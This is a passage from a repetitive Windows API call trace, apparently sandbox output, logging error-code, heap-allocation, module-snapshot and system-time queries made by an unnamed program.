(dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.110] SetLastError (dwErrCode=0x0) [0094.110] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.111] SetLastError (dwErrCode=0x0) [0094.111] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.112] SetLastError (dwErrCode=0x0) [0094.112] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.113] SetLastError (dwErrCode=0x0) [0094.113] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x0, Size=0x74) returned 0x1e91990 [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.114] SetLastError (dwErrCode=0x0) [0094.114] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.115] GetLastError () returned 0x0 [0094.115] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.116] SetLastError (dwErrCode=0x0) [0094.116] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.117] SetLastError (dwErrCode=0x0) [0094.117] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.118] GetLastError () returned 0x0 [0094.118] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.119] GetLastError () returned 0x0 [0094.119] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.120] SetLastError (dwErrCode=0x0) [0094.120] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.121] GetLastError () returned 0x0 [0094.121] SetLastError (dwErrCode=0x0) [0094.122] GetLastError () returned 0x0 [0094.129] SetLastError (dwErrCode=0x0) [0094.129] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.130] SetLastError (dwErrCode=0x0) [0094.130] GetLastError () returned 0x0 [0094.131] SetLastError (dwErrCode=0x0) [0094.131] GetLastError () returned 0x0 [0094.131] SetLastError (dwErrCode=0x0) [0094.131] GetLastError () returned 0x0 [0094.131] SetLastError (dwErrCode=0x0) [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x98) returned 0x1e91a10 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1f) returned 0x1e91ab0 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x36) returned 0x1e91ad8 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x37) returned 0x1e91b18 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x3c) returned 0x1e91b58 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x31) returned 0x1e91ba0 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x17) returned 0x1e91be0 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x24) returned 0x1e91c00 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x14) returned 0x1e91c30 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0xd) returned 0x1e91c50 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x25) returned 0x1e91c68 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x39) returned 0x1e91c98 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x18) returned 0x1e91ce0 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x17) returned 0x1e91d00 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0xe) returned 0x1e91d20 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x69) returned 0x1e91d38 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x3e) returned 0x1e91db0 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1b) returned 0x1e91df8 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1d) returned 0x1e91e20 [0094.131] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x48) returned 0x1e91e48 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x12) returned 0x1e91e98 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x18) returned 0x1e91eb8 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1b) returned 0x1e91ed8 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x24) returned 0x1e91f00 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x29) returned 0x1e91f30 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1e) returned 0x1e91f68 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x41) returned 0x1e91f90 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x17) returned 0x1e91fe8 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0xf) returned 0x1e92008 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x16) returned 0x1e92020 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x2a) returned 0x1e92040 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x29) returned 0x1e92078 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x15) returned 0x1e920b0 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1e) returned 0x1e920d0 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x2a) returned 0x1e920f8 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x12) returned 0x1e92130 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x18) returned 0x1e92150 [0094.132] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x46) returned 0x1e92170 [0094.132] HeapFree (in: hHeap=0x1e90000, dwFlags=0x0, lpMem=0x1e911f8 | out: hHeap=0x1e90000) returned 1 [0094.133] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x800) returned 0x1e921c0 [0094.133] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x80) returned 0x1e911f8 [0094.133] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0094.134] RtlSizeHeap (HeapHandle=0x1e90000, Flags=0x0, MemoryPointer=0x1e911f8) returned 0x80 [0094.134] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0094.134] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0094.134] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0094.134] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0094.138] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0094.139] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0094.139] GetTickCount () returned 0x23aed [0094.139] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.139] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.139] GetACP () returned 0x4e4 [0094.139] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.139] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.139] GetACP () returned 0x4e4 [0094.139] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.139] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.139] GetACP () returned 0x4e4 [0094.139] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.139] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.139] GetACP () returned 0x4e4 [0094.139] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.140] GetACP () returned 0x4e4 [0094.140] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.140] GetACP () returned 0x4e4 [0094.140] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.140] GetACP () returned 0x4e4 [0094.140] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.140] GetACP () returned 0x4e4 [0094.140] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.140] GetACP () returned 0x4e4 [0094.140] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.140] GetACP () returned 0x4e4 [0094.140] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.140] GetACP () returned 0x4e4 [0094.140] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.140] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.141] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.141] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.141] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.141] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.141] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.141] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.141] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.141] GetACP () returned 0x4e4 [0094.141] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.142] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.142] GetACP () returned 0x4e4 [0094.142] GetSystemTimes (in: 